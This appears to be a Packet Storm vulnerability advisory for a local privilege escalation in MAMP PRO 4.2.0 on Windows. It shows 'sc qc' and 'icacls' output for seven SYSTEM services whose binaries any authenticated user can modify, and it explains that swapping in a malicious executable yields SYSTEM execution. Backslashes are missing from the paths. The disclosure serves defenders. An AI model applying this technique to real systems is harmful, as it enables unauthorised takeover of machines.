MAMP PRO 4.2.0 Local Privilege Escalation ≈ Packet Storm
# Date: 2020-07-08
# Exploit Author: b1nary
# Vendor Homepage: https://www.mamp.info/
# Software Link: https://downloads.mamp.info/MAMP-PRO-WINDOWS/releases/4.2.0/MAMP_MAMP_PRO_4.2.0.exe
# Version: 4.2.0
# Tested on: Windows 10 Pro x64 Version 10.0.19041
MAMPPRO Windows installer installs seven services called 'MAMPPRO’, 'MAMPPRO-Apache', ‘MAMPPRO-MySQL’, ’MAMPDNS’, ‘MAMPPRO-Memcached', ‘emailrelay-service.exe’, and 'MAMPPRO-NGINX'. All those services runs with 'SYSTEM' privileges and they have weak file permission. Which means that a low-privileged user can modify those services and execute code with ‘SYSTEM’ privileges on the system.
NT AUTHORITYAuthenticated Users:(I)(M) means that every authenticated user has modify access, (M) stands for Modify, on the files, so they can read, write and delete the files.
=================================================================
(1). ===== MAMPPRO =====
C:Usersuser>sc qc MAMPPRO
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:MAMPPROMAMPPROService.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPRO Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:MAMPPRO>icacls c:MAMPPROMAMPPROService.exe
C:MAMPPROMAMPPROService.exe BUILTINAdministrators:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
BUILTINUsers:(I)(RX)
NT AUTHORITYAuthenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(2). ===== MAMPPRO-Apache =====
C:Usersuser>sc qc MAMPPRO-Apache
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO-Apache
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:MAMPbinapachebinhttpd.exe" -k runservice
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPPRO-Apache
DEPENDENCIES : Tcpip
: Afd
SERVICE_START_NAME : LocalSystem
C:Usersuser>icacls "c:MAMPbinapachebinhttpd.exe"
c:MAMPbinapachebinhttpd.exe BUILTINAdministrators:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
BUILTINUsers:(I)(RX)
NT AUTHORITYAuthenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(3). ===== MAMPPRO-MySQL =====
C:Usersuser>sc qc MAMPPRO-MySQL
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO-MySQL
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:MAMPbinmysqlbinmysqld.exe --defaults-file=C:UsersPublicDocumentsAppsoluteMAMPPROconfmy.ini MAMPPRO-MySQL
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPPRO-MySQL
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:Usersuser>icacls "C:MAMPbinmysqlbinmysqld.exe"
C:MAMPbinmysqlbinmysqld.exe BUILTINAdministrators:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
BUILTINUsers:(I)(RX)
NT AUTHORITYAuthenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(4). ===== MAMPDNS =====
C:Usersuser>sc qc MAMPDNS
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPDNS
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:MAMPPROMAMPDNSService.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPRO DNS Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:Usersuser>icacls "C:MAMPPROMAMPDNSService.exe"
C:MAMPPROMAMPDNSService.exe BUILTINAdministrators:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
BUILTINUsers:(I)(RX)
NT AUTHORITYAuthenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(5). ===== MAMPPRO-Memcached =====
C:Usersuser>sc qc MAMPPRO-Memcached
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO-Memcached
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:MAMPPROMAMPMemcached.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPPRO-Memcached
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:Usersuser>icacls "C:MAMPPROMAMPMemcached.exe"
C:MAMPPROMAMPMemcached.exe BUILTINAdministrators:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
BUILTINUsers:(I)(RX)
NT AUTHORITYAuthenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(6). ===== MAMPPRO-NGINX =====
C:Usersuser>sc qc MAMPPRO-NGINX
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO-NGINX
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:MAMPPROMAMPNGINX.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPPRO-NGINX
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:Usersuser>icacls "C:MAMPPROMAMPNGINX.exe"
C:MAMPPROMAMPNGINX.exe BUILTINAdministrators:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
BUILTINUsers:(I)(RX)
NT AUTHORITYAuthenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(7). ===== emailrelay =====
C:Usersuser>sc qc emailrelay
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: emailrelay
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:MAMPbinemailrelayemailrelay-service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : E-MailRelay
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:Usersuser>icacls "C:MAMPbinemailrelayemailrelay-service.exe"
C:MAMPbinemailrelayemailrelay-service.exe BUILTINAdministrators:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
BUILTINUsers:(I)(RX)
NT AUTHORITYAuthenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
=================================================================
In order to exploit this vulnerability, a local attacker must insert an executable file that should be named as one of the following 'MAMPDNSService.exe' 'MAMPPROService.exe', 'httpd.exe', 'MAMPMemcached.exe', 'mysqld.exe’, ‘emailrelay-service.exe’ or 'MAMPNGINX.exe' , and replace the original files. Once the services start the malicious files will be executed as SYSTEM.
Gloss